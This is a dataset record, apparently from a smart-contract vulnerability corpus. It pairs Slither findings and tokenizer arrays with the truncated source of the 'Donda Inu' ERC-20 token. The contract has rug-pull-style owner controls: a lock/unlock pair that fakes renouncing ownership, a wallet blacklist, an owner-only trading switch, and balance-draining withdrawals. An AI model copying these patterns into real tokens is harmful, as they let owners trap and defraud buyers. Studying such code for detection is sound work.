0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102c260279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b6060833b6101945760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101af9190610242565b600060405180830381855af49150503d80600081146101ea576040519150601f19603f3d011682016040523d82523d6000602084013e6101ef565b606091505b50915091506101ff828286610209565b9695505050505050565b60608315610218575081610105565b8251156102285782518084602001fd5b8160405162461bcd60e51b815260040161018b919061025e565b60008251610254818460208701610291565b9190910192915050565b602081526000825180602084015261027d816040850160208701610291565b601f01601f19169190910160400192915050565b60005b838110156102ac578181015183820152602001610294565b838111156102bb576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220119dbd9a813fab9bae361c99404aa6ac5f9a26787aa88986b6ce588177f9ae1a64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2620, 2620, 2497, 25746, 2050, 23833, 2497, 2487, 10322, 2546, 28154, 2620, 22394, 18139, 20842, 2278, 2475, 26337, 4783, 2546, 26187, 2581, 2683, 26224, 16665, 1013, 1013, 4216, 16379, 2007, 2524, 12707, 1058, 2475, 1012, 1022, 1012, 1017, 16770, 1024, 1013, 1013, 2524, 12707, 1012, 8917, 1013, 1013, 5371, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 24540, 1013, 24540, 1012, 14017, 1030, 1058, 2549, 1012, 1018, 1012, 1016, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1058, 2549, 1012, 1018, 1012, 1015, 1006, 24540, 1013, 24540, 1012, 14017, 1007, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 2023, 10061, 3206, 3640, 1037, 2991, 5963, 3853, 2008, 10284, 2035, 4455, 2000, 2178, 3206, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,307
0x9689193f5154580a02c5e60a5036800713463b6a
/* DONDA https://t.me/DONDAINU DONDA - DONDA INU */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.10; interface IERC20 { function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { //function _msgSender() internal view virtual returns (address payable) { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = block.timestamp + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(block.timestamp > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IAirdrop { function airdrop(address recipient, uint256 amount) external; } contract DONDAINU is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; mapping (address => bool) private botWallets; bool botscantrade = false; bool public canTrade = false; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 15000000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; address public marketingWallet; string private _name = "Donda Inu"; string private _symbol = "DONDA"; uint8 private _decimals = 9; uint256 public _taxFee = 5; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 10; uint256 private _previousLiquidityFee = _liquidityFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public _maxTxAmount = 100000000000000000000 * 10**9; uint256 public numTokensSellToAddToLiquidity = 100000000000000000000 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //Mainnet & Testnet ETH // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function airdrop(address recipient, uint256 amount) external onlyOwner() { removeAllFee(); _transfer(_msgSender(), recipient, amount * 10**9); restoreAllFee(); } function airdropInternal(address recipient, uint256 amount) internal { removeAllFee(); _transfer(_msgSender(), recipient, amount); restoreAllFee(); } function airdropArray(address[] calldata newholders, uint256[] calldata amounts) external onlyOwner(){ uint256 iterator = 0; require(newholders.length == amounts.length, "must be the same length"); while(iterator < newholders.length){ airdropInternal(newholders[iterator], amounts[iterator] * 10**9); iterator += 1; } } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setMarketingWallet(address walletAddress) public onlyOwner { marketingWallet = walletAddress; } function upliftTxAmount() external onlyOwner() { _maxTxAmount = 10000000000000000000000 * 10**9; } function setSwapThresholdAmount(uint256 SwapThresholdAmount) external onlyOwner() { require(SwapThresholdAmount > 10000000, "Swap Threshold Amount cannot be less than 10 Million"); numTokensSellToAddToLiquidity = SwapThresholdAmount * 10**9; } function claimTokens () public onlyOwner { // make sure we capture all BNB that may or may not be sent to this contract payable(marketingWallet).transfer(address(this).balance); } function claimOtherTokens(IERC20 tokenAddress, address walletaddress) external onlyOwner() { tokenAddress.transfer(walletaddress, tokenAddress.balanceOf(address(this))); } function clearStuckBalance (address payable walletaddress) external onlyOwner() { walletaddress.transfer(address(this).balance); } function addBotWallet(address botwallet) external onlyOwner() { botWallets[botwallet] = true; } function removeBotWallet(address botwallet) external onlyOwner() { botWallets[botwallet] = false; } function getBotWalletStatus(address botwallet) public view returns (bool) { return botWallets[botwallet]; } function allowtrading()external onlyOwner() { canTrade = true; } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to 